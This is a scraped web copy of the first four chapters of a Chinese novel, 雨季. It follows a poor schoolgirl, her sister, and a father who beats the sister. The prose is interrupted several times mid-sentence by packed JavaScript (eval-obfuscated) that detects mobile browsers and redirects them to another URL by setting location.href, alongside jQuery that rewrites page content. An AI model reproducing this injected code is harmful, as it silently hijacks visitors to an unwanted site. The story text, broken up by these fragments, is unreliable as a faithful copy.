《雨季》 1. 第 1 章 窗外淅淅沥沥下着小雨,我靠在暖气片旁看着银杏树叶被风吹落又再次被风卷起。 这种天气最适合睡觉了,我将透明的小热水袋贴到我的小肚子上,将右上角的书摞得高高的。我眯起眼,伴随着语文老师毫无波澜念PPT的声线,准备去睡梦中解决困扰我的问题。 “挺好?” 我睡得太沉了,没听到我的名字。 直至我的同桌摇了摇我的胳膊,我才猛然惊醒。 我的双眼还没完全睁开,就看到讲台上的老师正笑盈盈地看着我,原来已经数学课了。 数学老师用尺子敲了敲黑板上的题,问我:“赵挺好,这道题我刚讲完,你来讲台前再写一遍。” 黑板题目的正下方还有湿抹布刚擦完的水珠,我感觉我完了。 教室的灯光对刚睡醒的我有点刺眼,我忍不住揉眼,顺便再将目光投向我的同桌李卿,希望她能给我一些帮助。 她的头低到要砸进课本里了,要不是刚刚喊醒我的是她,我会以为她也睡着了。 没有人能帮我,走一步看一步,我不得已站起身准备走到黑板前写一个“解”。 我的位置是第一排,李卿给我让位置,我看到她对我笑了一下,这个笑怪怪的,可我想不出这个笑究竟有什么含义。我想我再有三步路就会直面数学老师的怒火了,可是我没有别的选择能让我逃过这一劫。 就当我这么认为的时候,意外出现了。我的暖宝宝,就在上节课它还是滚烫的,能帮我抵抗痛经的。过了一节课,我已经忘记它的存在。 在迈向讲台的过程中,我祈求暖宝宝与我融为一体,不要离开我。可愿望没有成真,在踏上讲台的那一刻,我的暖宝宝紧贴着我的腹部滑下去,落到了我的脚边。 当我听到暖宝宝落地时的“啪叽”声,我不禁闭眼,祈祷讲桌能将发生的这一切都挡住。 我手中拿着粉笔,面对着黑板,不敢回头看,但是好像已经听到了同学们的窃窃私语。 数学老师捡起暖宝宝递给了我,拍了拍我的肩膀,对我说:“这下醒盹了吧,回去好好听课。” 我没理会同学们的哄笑声,捧着暖宝宝认真点头,回到座位上看着老师,等待着她的下一步指示。只见她对我扬了扬下巴,示意我桌面上摆的还是语文书。 我忙不迭地将语文书换成数学书之后,下课铃响了。数学老师说了一句“下课”后转身就走了,她很讨厌拖堂。 同学们的笑声更大了。 “挺好,我笑得不行了。”李卿伸手搭住我的肩膀,“那道题是她现场出的,她根本没讲那道题。你看我的时候我都有点崩溃了。” 后桌赵澄拍了拍李卿搭在我肩膀上的手,“这你就不懂了吧?其实数学老师只是内涵她上次期中考数学60分的事。” 我讪笑一声,不知道说什么好。 李卿回头睨他一眼,但是没把手从他的手底下抽出来,“数学分低那怎么了?我们挺好照样能班级第六。” 我的耳根泛红,连忙打断她的话语:“放学了放学了,我要赶紧回家,今天我姐姐回来。” 李卿和赵澄牵着手,用另一只手对我的说再见:“拜拜。” 今天是周五,爸妈不会让我单独在家,通常会留一个人陪着我,今天是姐姐。 我撑着伞慢慢走,仔细聆听着细小雨滴拍打在伞面的声音。 我将豆角还有茄子放到灶台准备清洗,蜘蛛网旁的蟑螂在快速爬动。我假装没有看到,脚步挪动了一下,黏腻的棕色液体和蟑螂尸体被我踩在脚下。 即便相同的动作做过无数次,但我还是觉得有点恶心。 “赵挺好,快来拜见姐姐大人。”我抬眼,看见姐姐身上披着还没来得及换洗的床单,她挥了挥床单做成的“衣袖”,“你看我这身怎么样?” 我有点无语,人怎么能闲到这么地步? “你要是没事干的话,就去睡会觉吧。”我手上洗菜的动作不停,“高中的学习很累吧?” 姐姐原本活泼的声音变得有点低沉,“嗯,挺累的。” “累的话就去休息吧,不要太勉强自己了。”我将豆角掰成一截一截的。 我听到姐姐的脚步声逐渐变小,她回卧室了。 在她看不见的地方,我嘴角勾起了一丝弧度,怎么会有人都十八岁了还在玩床单披身假扮皇帝的游戏啊? 真的有点幼稚。 窸窸窣窣的声音响起,又有老鼠了吗?明明昨天才刚抓住一公一母,难道是它们的孩子吗? 我又有点想笑了,感觉自己像老鼠。父母都被工厂抓住了,只有孩子还留在家里,为这个家缝缝补补。 好像也不太对,也不是只有我自己,还有姐姐陪着我。 我这么想的时候,姐姐从身后拍了拍我的肩膀,我被吓到了。 她看着我的反应忍不住笑出声,随后在我无语的眼神中,她神秘地从床单做成的袖口中拿出了一块巧克力放在我眼前左右摇了摇,然后递给我,“我在学校打赌赢到的,送你了。” 我将巧克力塞到我的校服口袋,打算明天将它带到学校跟同学们炫耀一下。 吃过饭后,我将数学作业摆在桌面上。我讨厌数学,可是为了以后更好的生活,不得不硬着头皮学。 我很喜欢姐姐回来的日子,因为这样她会给我讲解我不懂的题目。每当姐姐拿着铅笔在我的作业纸上写写画画的时候,我会盯着姐姐的脸发呆。 姐姐很聪明,高中选科选的纯理。选科之前有亲戚来劝,说是女生笨,没有男生聪明,选了理科之后在成绩上会被甩一大截的。 当时的我很担心,生怕姐姐会选理科。我半夜钻进她的被窝,问她:“姐姐,你选理科没问题吗?姑姑伯伯都说女生选文科会更好一些。” 我的姐姐当时正在睡梦中,被我吓了一大跳。可是她没有急也没有恼,只是摸摸我的头发,安慰地对我说:“小孩子想那么多干什么?选文选理我都能学好。快睡觉吧。” 姐姐真的有这么厉害吗?我不清楚,但是我选择相信姐姐。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019789|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 深夜的寒气随我一起进到姐姐的被窝,姐姐将被子掖好,抱紧我。我想这是我睡过最好的一觉了。 次日清晨,姐姐起床的时候很小心,没有吵醒我,也有可能是因为我睡得向猪一样。毕竟妈妈总这么说。 妈妈后来跟我说,姐姐当时在选科单上义无反顾地写好物理、化学、生物,然后就回学校了。 “有一句话说得好,叫做不蒸馒头争口气。” “为什么不蒸馒头,我喜欢吃馒头。” 妈妈拍拍我的脑袋,“笨,长大以后就会懂的。” 长大长大又是长大,我觉得我已经长大了。 可是妈妈说:“你连这句话都不懂算什么长大?” 我没话说了,只好去问李卿“不蒸馒头争口气”是什么意思。 李卿对我说:“其实就是别人看不起你,但是你最后做到了。” 我懵懵懂懂地点头,却后知后觉地感受到来自亲戚们的恶意,原来她们看不起姐姐啊!真讨厌,我再也不和他们讲话了。 “听懂了吗?”姐姐拿着我的练习册在我面前摇了摇。 “懂了。”我点头。 “好!你最好是真的懂了,而不是不懂装懂。”姐姐拿着橡皮把刚刚自己写过的全都擦掉了,练习册递到我的手上,“你再写一遍。” 我看着空白的练习册,怎么也下不去笔。 姐姐无奈地摇摇头拿了练习册:“我再给你讲一遍,这次可不许走神了。” 我猛的点头,幅度大得令姐姐不禁笑出声。 我喜欢看姐姐笑。 和姐姐相处的日子真好。 等到作业写完,姐姐拍拍床铺,“早睡早起长身体!快来睡觉!” 我往后退了两步,随后一个助跑扑倒在床上,头却磕到了墙上。 姐姐被我逗得哈哈大笑,一边觉得好笑一边来看我的头,“没事没事。就是有点磕红了。” 我笑了两声,嘴硬:“根本不疼。” “好好好,不疼。”姐姐翻身过去,“那我不管你了。” 在她看不到的地方,我悄悄揉了两下。 疼死我了,怎么会不疼? 感觉都起了一个大包。 姐姐突然翻身,指着我,“刚刚不是还说不疼吗?那你现在是在干什么?” 我摸头的手还没来得及放下,只好诚实交代,“其实还是有一点疼的。” 家里只有一张床,我和姐姐在这张不大的床上相互依偎着,她吹了吹我脑袋上的红包。 我感受着阵阵凉气从我头顶上拂过,好像真的不疼了。 “真不疼假不疼?别嘴硬,你要是不疼的话我就那吹了。” 我将姐姐的被子和我的被子都掖好,“那还是再吹吹吧。” 不知道什么时候凉风没有了,取而代之是姐姐的均匀的呼吸声。我揉揉脑袋,也该睡了。 翌日,姐姐已经出门了。我也该起床了,我摸着校服口袋,“啧”了一声。 巧克力化了。 2. 第 2 章 “挺好,你口袋怎么脏了?” 我将手挡在校服口袋前,“我姐给我的巧克力化了,本来我还想带到学校给你们尝尝的。” 李卿问道:“你姐在高中累不累?我每次放学回家的时候会看到几个高中生出来买晚饭,他们一路上嘻嘻哈哈的,感觉很厉害吧。” “肯定累。”我点点头,“我姐姐回来的时候都要写好多作业。” 我伸出手比划了一下,“大概有咱们十倍的那么多。” “哇!”李卿的赞叹声在我耳边响起,“那你姐姐很厉害呀,听说高中的作业比咱们的难好多。” “嗯!”我一边收拾我的书桌,一边接着和李卿说,“没事的,咱们努力,争取变成像我姐姐这样的人吧。” 赵澄提着三份热腾腾的早饭来到教室分别递给了李卿和我。 我将已经写好的语文作业交给他,“我用左手写的,老师一定看不出来是我写的,就是字有点丑。” 赵澄摇摇头说:“小事,本来就丑。” 一份语文作业换一份热乎乎的早饭,我认为这个交易是划算的。 早自习。 语文老师带着笔记本电脑进来了,原本乱哄哄的教室因有望风的同学提醒下提前安静下来。 “不错。”她满意地点点头,“今天很安静。” 说罢她便坐在讲台前开始用鼠标键盘敲击些什么。 在她看不见的角落里,我们回头看了那个通风报信的同学一眼,露出了心照不宣的笑容。 早自习,大家背背书补补作业,时间过去的倒也快。 第一节课也是语文,我又将书高高摞起。和昨天不同的是,今天的我在下面看数学题。 我讨厌函数。讨厌x轴和y轴。我不懂一条曲里拐弯的线哪有那么多可以求的东西?不如教一教我砍价如何才能多砍点钱。 我想等我上高中一定是会选文科的,如果选文科的话不用学数学那就更好了。 我又想可如果我选文科的话,会不会被亲戚们说“女孩子果然还是得选文科吧,你看她姐姐叫什么样子,选理科的后果怕是连大学都上不了呦。”我讨厌这样的话语,更讨厌她们在背后议论我姐姐。 其实姐姐的文科毫不逊于理科,可是我不懂她为什么会选理,但是我觉得她肯定有她自己的道理。 “挺好,你来背一下。” 李卿用手肘碰碰我的胳膊,我知道她这是怕我睡着,提醒我这是语文老师叫我了。 我站起身,看着屏幕上的PPT,幸运的是这篇文章暑假的时候姐姐带着我背过了。 我一字一句地将文章背诵出来。 背到一半的时候,李卿像蛇一样发出“嘶”“嘶”的声音,我向她看了一眼,还是没懂她什么意思。 台上的语文老师由坐转站,看着我和我书桌上的东西,直到我背完。 “我昨晚留的作业是背诵到我讲完的地方。”语文老师意有所指,“不过挺好同学很努力刻苦,将整篇文章都背诵下来了。” “上哪科课,就要放哪科的东西,再让我发现无关物品,我就没收了。” 下课时,李卿爬到我这边看了一眼,随后转过身看着赵澄,“请我俩吃饭。” 赵澄不可置信地站起身看向我的桌面,那上面赫然摆放着数学练习册,不可思议地看着我,“居然真的是你?” “你居然敢上她的课写数学作业?” “不是作业,是练习题。”我为自己反驳了一句。 他扶额叹气,像是终于承认自己略输一筹,“想吃什么?我请。” “你来定你来定。”李卿亲密地挽着我的胳膊,“从今天开始请叫我赌王。” “不用啦。”我摆摆手,“这怎么好意思?我晚上还有事呢。” “好吧好吧。”李卿抱怨地说了一句,“你总是这么忙。” 其实我晚上没有事,一方面我只是不太想接受这种“资助”。像是带着可怜意味的、看不下去的“施舍”,另一方面我有点不太好意思。 我知道李卿对我很好,她家有一个工厂,平时出手大方,会带着开玩笑的意思送给我许多东西。我身上穿的校服就是她“不小心”订错尺码然后送给我的。 我很感激李卿,她对我很好。我想等我以后有出息了,不会忘记她的,我会报答父母、姐姐、还有她,还有每一个对我好过的人,当然也包括赵澄。 他可能看出我家境窘迫,也有可能是李卿和他说的,他提出让我帮他写作业,他会给我报酬,我没要钱,要了早饭。 我在语文课写数学,数学课写数学,英语课也在写数学。大课间跑操的时候,我脑子里分散着各种数学公式。一不留神,踩上前面同学的鞋子。她回过头看我的时候我发现她眉头紧皱。 “对不起,我不是故意的。”我连忙道歉。 “那边两个,跑操的时候不许说话。”巡查员将我和她扣下来了,说:“报一下你们两个的班级姓名。” 被我踩鞋的同学脸色不太好,暗骂了一句。 我连忙出声,祈祷这位巡查员没听到她的脏话,“她没说话,我刚刚不小心踩她鞋了,所以跟她道歉呢。” 巡查员上下打量了她一下,“哦,对视也不行。”他冷冰冰的态度快要激怒那位同学了。 李卿在旁边见状指了指自己,我心一横报了名字:“赵挺好,李卿。” 对不起了,李卿,这下要你和我一起被骂了。 “早这么说不就完了。”巡查员将名字记好揣到厚厚的防寒服口袋里,“磨磨唧唧的解释半天,不就是想不被记名字吗。” 我小心翼翼地看了这位同学的脸色,发现她面无表情,径直回到了跑操队伍中。 “谢了。”等我跑回队伍中听到前方传来这么一句话。 我摆摆手,马上又意识到她看不见,随后小声说道:“我报的是李卿的名字,其实你应该谢谢李卿。而且我踩你鞋也不是故意的,我有点走神了。” “嗯。”她低沉地应了一声。 “喂,你们两个还说话是吧。”巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019790|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查员阴魂不散地再次将我们两个扣下,“李卿、赵挺好说话×2。” “对不起,我们错了。”我再次道歉。 “行了行了,我把×2划了,你们两个走吧,注意别再说话了。再说话还记你们名字。” “好的好的。”我忙不迭带着同学跑走了。 跑操结束后,雨姐,也就是我们的班主任兼语文老师喊了我和李卿过去。 “跑操的时候说话,数学老师向我反映上课睡觉,上我课时写数学。你就是这样学习的吗?” 我一昧地低头,不敢说话,生怕让她的怒火加剧。 她见我沉默不语也不好再说些什么,“成绩还需要再提高,该干什么的时候干什么,不该干得时候就不要去干。” “李卿,你也是,跑操的时候别老跟她说话,再这样我要给你俩隔开了。” “别,老师。挺好平常能辅导我做作业。”李卿本来想像我一样保持沉默的,可是她不想和我分开坐,于是解释,“我辅导她数学,她辅导我语文英语。” “呵呵。数学她60分你61分,这一分怎么辅导,是不是要告诉她遇到不会的题写个解就能得一分啊?”班主任被气笑了。 “那…高一分也是高。您说过,在中考的考场上,多一分就能甩掉几千几万人。” 老师喝了一口茶,杯中的茶叶漂浮在最上缘,她一嘬,茶叶也进到嘴里了。 “这倒是没错。今天的事下不为例。” 李卿拉着我鞠了一躬,“一定的,老师。” 回到班级,我立马跟李卿道歉,“对不起啊卿卿,拉着你一起被老师骂。” 我对口袋里拿出融化的巧克力,小心地将外皮剥开,送到她嘴边,“你尝尝巧克力甜不甜?” 她也没有扫我的兴,就着我的手咬了一口。却皱起了眉头。 我一脸担忧的看着她,“怎么了?是不好吃吗?” 她脑袋低下去,埋到赵澄的胸前,冲我摆摆手,“这也太甜了,甜的我想哭,你自己尝尝就知道了。” 我不疑有他,咬了一口,也同样皱起眉头,“好苦。” 就这么一块巧克力怎么能这么苦? 她突然坐直身体哈哈大笑起来:“被我精湛的演技骗到了吧?” “确实是。”我笑了笑,“真的是好精湛的演技呢~” 李卿听出我是在打趣她了,耳朵和脖子都红了,她埋得更深了,“反正你也吃了,那我就算演技好。” 李卿感受着身下人胸腔的震鸣,赵澄在笑。她气得作势扬起巴掌打他,他不躲,反倒把自己的脸凑过去,像是在等着她的手降临到他脸上一样。 我在一旁看着这一切的发生,有点像电视剧演的。 看了会儿我觉得我是个电灯泡,于是又抱着数学课本啃起来,还是数学课本更有意思,这种难题你读的懂但是又做不出来的感觉太令人着迷了。 至于被李卿和我各咬过一口的巧克力,我又将它拿干净的卫生纸包好,继续放到我的校服口袋里了。 3. 第 3 章 “挺好,今天我和爸爸晚上都有工作,就不回来住了。你平常都说自己长大了,现在考验你的时候到了。看你是不是真的长大了,可以自己一个人住了。”我回到家中,看着妈妈留的小纸条。 爸爸都上夜班,只有白天会回到家中休息,而之前妈妈晚上都会陪我的。从今天开始就不一样了,不过没事,我理解的,因为他们要供我和姐姐上学,而夜班能赚更多钱。 挺好,你要坚强!你要读更多的书!然后赚更多的钱!这样大家就不会那么受累了。 我将昨日剩的饭菜从冰箱中拿出来热热吃了,随后将巧克力摆到面前,打开作业开始写,写理科的时候,写完一道题,奖励自己吃一小小口巧克力。 真苦,但是真好吃。 翌日,英语课。 “打开窗户透透气。”英语老师刚打开教室门,就用手指隔空点点我,“一天天的,闷都闷死了,尤其是还有味。你们以后可不能在教室吃辣条了。” 我将窗户全部打开,想将味道散一散。 讲台上老师侃侃而谈,讲台下的我倚靠在墙上,看着窗户上的栏杆,看了会儿,又将目光投向遥远的远方,我具体在看什么我也不知道。 今天是难得一见的好天气,万里无云,阳光如瀑布般洒下来,直直的射到我的书本上,我将身体往后靠,看着一束束阳光照映出空气中的灰尘。 是灰尘吗?我也不太懂。 我只知道这样很美。 起风了,有点冷。我将手缩进校服袖子中,隔着袖子将小本本拿起,上面都是我还没背熟的单词。 “啊!你快看!”有同学惊呼一声。 我抬头看了一眼,一只小麻雀飞到了教室中,扰乱了课堂秩序。谁也不知道它是什么时候穿过栏杆来到这里的,谁也不知道为什么在11月份的冬天还会有小鸟。同学们的目光不再聚焦于课本和黑板上,反倒看着这只小鸟,期待她能飞出这片不属于她的课堂。 “砰砰。”英语老师用粉笔敲敲黑板,“看这里,还听不听课了?要不你们也飞出去?” 她尝试维持秩序,大部分同学低下头乖乖看课本,我还是在看着这只小鸟,看她会不会飞出去。 “赵挺好,我说话你当耳旁风是吧?”她停下了讲课,转过头认真看着我,严肃的目光令我打了个寒颤,也有可能是冷的。 “算了,班长你看拿扫把能不能把它赶出去,不然我看你们也没心思继续学习了。” 班长是一个很瘦的男生,戴着黑框眼镜,是我们班的常年第一。他拿着扫把的下端,将它高高举起,凑到小鸟身旁,他小心地控制着扫把,以防戳到小鸟。可小鸟轻振翅膀,一下就跳到了扫把上。 班长轻轻抖动扫把,下一步小鸟张开翅膀逃离了这里,透过栏杆飞走了,飞到了外面更加广阔的天地。 我没见过什么世面,这一刻可能对于其他人微不足道,可是我却将这一幕深深刻在了我的心中。 “可惜。”李卿在一旁叹气。 “可惜什么?”我不懂。 “也不知道它能不能在这个冬天活下去。” 我不知道该说些什么,可是她自由了,哪怕只有一瞬。 日子就这么一天天过去,期中考来了。 考数学的时候,题型都见过都写过,就是不知道能不能做对。 “考得怎么样呀挺好?”李卿在恢复考场搬桌椅的时候问我。 “挺好挺好。”赵澄在一旁做苦力还不忘搭腔。 “不许乱玩谐音梗。”李卿伸手想掐他胳膊,他连忙求饶。 我回想着答过的几道大题,“感觉还挺好。” 赵澄听见这句话连忙指着我对李卿说,“你看她自己也这么说。” 李卿白他一眼,“那你也不许说。” 期中考试成绩出得很快,我考了全班第二。 老师第二个喊到我名字的时候,我感到惊喜却又感觉意料之中,但还是可惜没拿到第一名。 李卿给我让位置,让我去拿属于自己的成绩单。 我靠在窗户上,外面下着大雨,气温很低,我哈了一口气,看着窗上泛起纯白的雾,忍不住伸手画了一个笑脸。 我怎么看这个笑脸怎么喜欢,于是叫李卿来看。 李卿也凑过来哈了一口气,只不过她画了一个哭脸,她对我说,“这次考试比上次退步了一名,回去我爸妈肯定会骂我的。” 李卿凑过来的时候很香,发尾带着洗发水的香气,很好闻。我想夸赞却又忍住了,我很清楚,如果我夸出口,李卿明天就会从家中给我带一瓶崭新的洗发水。 我已经欠她太多了,我要报答她。 “没事的,从明天开始我来帮你。”我拍拍胸脯,“保证下次考试进步十名。” “好!”李卿拍拍我的肩膀,“挺好,我相信你!希望我下次成绩也考挺好。” “今天下大雨,你和我坐车回去吧,我可以让叔叔顺路送你回去。” “没事的,对我来说这算小雨,而且我有伞,我可以自己回去的。” 李卿劝不动我,只好先走了。 我坐在我的座位上等雨停,可将作业写完再次看向窗外,雨还在下,但是感觉是变中雨了。 我将装着成绩单的书包背到前方,打着伞深一脚浅一脚地迈过泥泞的土地,等我有钱的时候,我一定要先将回家的路修好。我抱着这样的决心终于回到了家门前。 就当我准备开门的时候,我听到了屋里的打骂声。 我愣在了原地,不知道该不该进去。 就在我愣神的这几秒,屋里的声音清晰地传到了我的耳边。 “我给你交钱上补习班你不去上,你跑去那种地方鬼混。” 我背靠在屋外的墙上,听着爸爸对姐姐的辱骂声,不知道等会进去的时候说什么。 “你拿着补习班的钱去干什么了?!”我听到了一种破空声,紧接着是抽到身体上的声音。 我靠着墙蹲下,任由雨水浸透我的鞋底。 我猜测可能是衣架。 “要不是今天下雨我去补习班接你,结果补习班老师和我说你一节课都没去上,你是不是还想继续瞒下去?” 我低下头看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019791|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我破了一个洞的鞋子,感到很奇怪,什么时候破的洞,我仔细回想,可能是回来的路上不小心磕到石头了吧,这双布鞋穿得时间确实是有点久了。 我听不到姐姐声音,不知道姐姐是没说话,还是声音太小了我听不到。 我将胸前的书包往我怀里压了压,将鞋袜褪去,却看到了自己正在流血的脚趾。 好疼啊,我想。 我忍不住哭出来,豆大的泪珠源源不断地滚落,与地上的雨水、血水融为一体。 刚开始还是小声的哭,后来抑制不住的放声大哭。 屋内的妈妈像是听到了我的哭声,连忙开门,看到我正趴在地上,脸上、身上都是泥土。 “我的儿啊你这是怎么了啊?”妈妈连忙将我扶起,随后连忙喊人,“你快来,幺儿摔了。” 父亲将手中的衣架扔到一旁,将我抱起走到屋中。妈妈看着板砖上的血迹数落我:“你怎么这么不小心?” 我用肮脏的校服袖子擦掉滑落的泪水,却留下一到泥痕。 姐姐原本是跪着的,见我这样,连忙起来用她的手抹我的脸安慰我。 父亲见这一副姐妹情深的画面,走到窗边点了一根烟。他猛吸了一口,随后慢慢地吐出烟雾。 我透过泪珠看到烟雾升空,家中的老式吊灯很亮,在灯光下的我好像来到了另一个世界。 我还没来及多想,就听到父亲说:“我要去外地了,这里经济发展不好,赚不到钱。” 母亲在一旁沉默不语,我不知道该说什么,只是一昧地哭。 姐姐摸我的手突然顿住了,不卑不亢地说了一句:“我可以去打工。” “你疯了?”父亲像是被激怒般快步走过来,扬起手打了姐姐一巴掌,姐姐被打得偏过头去,脸上有了红痕。她被打得一瞬间没忘记将我的眼睛捂住。 我将她的手拨开,放到我手心里,另一只手去够姐姐脸上的红印子,“爸爸,你别打姐姐了。” 妈妈将门关好。 姐姐说完这句话后陷入了沉默,家中只有父亲抽烟的吞云吐雾的声音。 一支烟的时间很快,父亲将抽完的烟扔下去踩在脚底捻了捻。 “抽完烟了,冷静了吧?”姐姐捂住我的耳朵,可是父亲的话语如细小的尖刺般从姐姐手指缝隙中狠狠地扎进来。 “赔钱货,你知不知道我供你上学花了多少钱,你还跑去网吧那种地方鬼混,你安的什么心?” “本来我骂你几句让你收收心好好学习就得了,现在你跟我说不上了出去打工,你对得起我和你妈对你的栽培吗?” “够了。”妈妈不再沉默,她举起还没吃完的碗筷摔在了地上,“还有完没完?这个家究竟还过不过了?” 父亲和姐姐都不说话了。 “这件事到此为止,该上学的接着去上学,该打工接着打工,咱们走了孩子怎么办?” 我看着黑糊糊的茄子被摔在地上,恍惚中我看到老鼠一家又出来觅食了。 晕过去前最后的想法是,老鼠比我的胆子大,我不敢在父亲生气的情况下出来晃,它们却敢。 4. 第 4 章 头好晕,我迷迷糊糊地睁开眼,发现我正躺在小诊所的蓝椅子上,手上还挂着吊瓶。 我环顾四周,发现只有妈妈在我旁边陪着我。 她发现我醒了,凑过来摸了摸我的额头,“好像不烧了,但还是再量个体温吧。” “姐姐和爸爸呢?”我一出声才发现我嗓子哑得厉害。 “姐姐在家学习呢,爸爸去工作了。” 我坐起身接过妈妈给我的体温计夹好,透过诊所的玻璃窗看到天已经黑了。 “几点了?”我哑声问。 “八点了。”妈妈翻了一下自己的包,“出门急忘带水了,少说点话啊,回家再喝吧。” 我点了点头,靠在了椅背上。 “还是发烧,38℃。明天休息一天吧,正好你姐姐也在家,能照顾你。”妈妈取□□温表看了看对我这么说道。 我有点懵。 “为什么不去上学?” “姐姐想在家休息一天…” 我打断了她的话,“我是说我,我为什么不去上学?” 她愣了愣,像是不懂我在说什么。 “你…你要是想去上学的话也行。” 我“嗯”了一声,没再说话。 输完液回家的路上,路上都是泥,我看了看我的脚上,穿得是姐姐的鞋袜,我小心地避开泥多的地方,尽量挑干净的地方走。 “你知道的,你爸爸是个倔脾气……”妈妈的声音在我前方响起。 “所以呢?”我喉咙干得要冒火了。 “他决定的事我更改不了他的意见,所以他说要去外地打工我也只能…”母亲一股脑地将话都说出来了,我不知道该说些什么。 我沉默了三秒,“所以你要和他一起走吗?” “去哪里?还会回来管我和姐姐吗?姐姐明年就高考了,我明年就中考了。” “会回来的。”母亲说,“已经订火车票了,我们趁明天凌晨走,坐绿皮再转大巴,路上的钱便宜。到了那儿,不管怎样都有活儿干,赚得还比这里多多了。” 我干巴巴地说了句:“哦。” 我确实不知道该说什么。我认为我已经长大了,可是我还是左右不了这些大人的意见。 “路上小心。”到家的时候,母亲推门之前,我补了这么一句话。 我是有点自卑的,平常我都是低头走路,所以我也没错过母亲滴落在地上的泪珠。 她办事总这样风风火火,走路快、吃饭快、干活快,说话也快,简而言之就是不走脑子。原本她找了一个办公室文员的工作,每天的内容就是写报告和做表格,可惜后来嘴快将老板得罪了。我记得那天晚上她回家时向我描述画面的样子,她说她说完那句话之后老板笑眯眯的,一点都没生气,真是大度,转天就以办公室闲人太多实事太少的理由将她裁了。只单单裁了她一个。 她说老板年纪看着挺大,头发倒挺多的。我后来才知道,老板年纪确实是不小,但头上的是假发。 从那之后,她的话就变得少了起来。 我家是没有浴室的,洗澡都是去澡堂子洗,一周洗一次。洗头的话就在家用开水壶做热水。 妈妈今天罕见地拿了三张澡票,“咱们去澡堂子好好洗洗。” 其实我有点不太明白为什么我发烧了还突然要去洗澡,但转念一想,爸爸妈妈马上就要走了,好像也有道理。 “哎,二婶子。”妈妈将三张澡票递给这个澡堂的“收银员”,其实我也不知道应该叫什么,我也不懂她明明不是我的二婶也不是妈妈的二婶,为什么要叫她“二婶子”。 面前的女人烫了大波浪,明明是十一月的天上身却只穿着一件T恤衫,抬头瞥了我们一眼,接过澡票看也不看直直扔到抽屉里,另一只手伸到面前的塑料袋,另一只手刷着小视频,嘴上磕瓜子的动作不停。 “咋啦?” “明天啊,我就要出去打工了,家里只有这两个孩子,你还多照顾着。”母亲像是对着熟人多加嘱咐,但我没感觉她们之间有多熟。 她说罢,拿出手机扫了微信二维码作势要给钱。 二婶子连忙挡住她的手机,不让她付款,“妹妹,你这是什么意思,传出去我还混不混了?” 她将我妈妈的手机按息屏,将塑料袋里的瓜子分给我和姐姐俩人。“放心吧妹妹。” 母亲像是心里的石头落了地,“那我也得给,这俩孩子在我不在的时候还得洗澡呢,没澡票怎么行。” 二婶子收回手,这下不拦了,“还是那个价。” 我偏过头去,说实话我不太喜欢这样,但也没办法。 洗一次澡八块,澡票不单卖,十张起卖,十张是六十块。但是我妈妈付款只用五十元。 具体的原因还要追溯到我第一次和妈妈来这家澡堂,那时这家澡堂刚开业,我妈妈看到这个澡票的价格眼前一亮,她和老板娘,也就是现在的“二婶子”谈了半天的价格,最后砍到了五十元十张澡票。 在此期间,我遇见了我的小学同学,我有点忘记她的脸了,只记得她跟我打了声招呼,随后问我“你在干什么,为什么还不进去?” 我提着澡篮说:“我妈妈在买澡票呢。” “澡票是什么?”她问她妈妈。 “就是可以用来洗澡的次数,乖乖咱们不用买,咱家热水器今天坏了,所以只能来这凑合一下,明天就不用来了。” 我还记得那位女士的表情,透露着不屑,透露着对这里的厌恶。 恰好母亲以极低的价格买完澡票,推搡着我。问我:“你怎么不走啊?” 年幼的我提着沉沉的澡篮不知道该不该进去。最后我将澡篮扔到一边,没理会母亲在我背后的叫喊声,跑回了家。 思绪回到现在,我再次提着澡篮,走进浴室。 不管怎样,我都很感激我的那位小学同学,最少她没有将我母亲在公共澡堂花半天时间只为砍十块钱的事说出去。 妈妈快速脱了衣服进去去找好用的花洒了。 “姐姐,你疼吗?”我看着姐姐胳膊上,被衣架抽的一道道的青紫色痕迹。 “不疼。”姐姐将自己的衣物用锁锁好。 我想摸一摸,就像我哭的时候姐姐为我抹眼泪一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019792|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你虎啊。”姐姐像是没忍住疼痛一样“嘶”了一声,“哪有人这样生按的?” 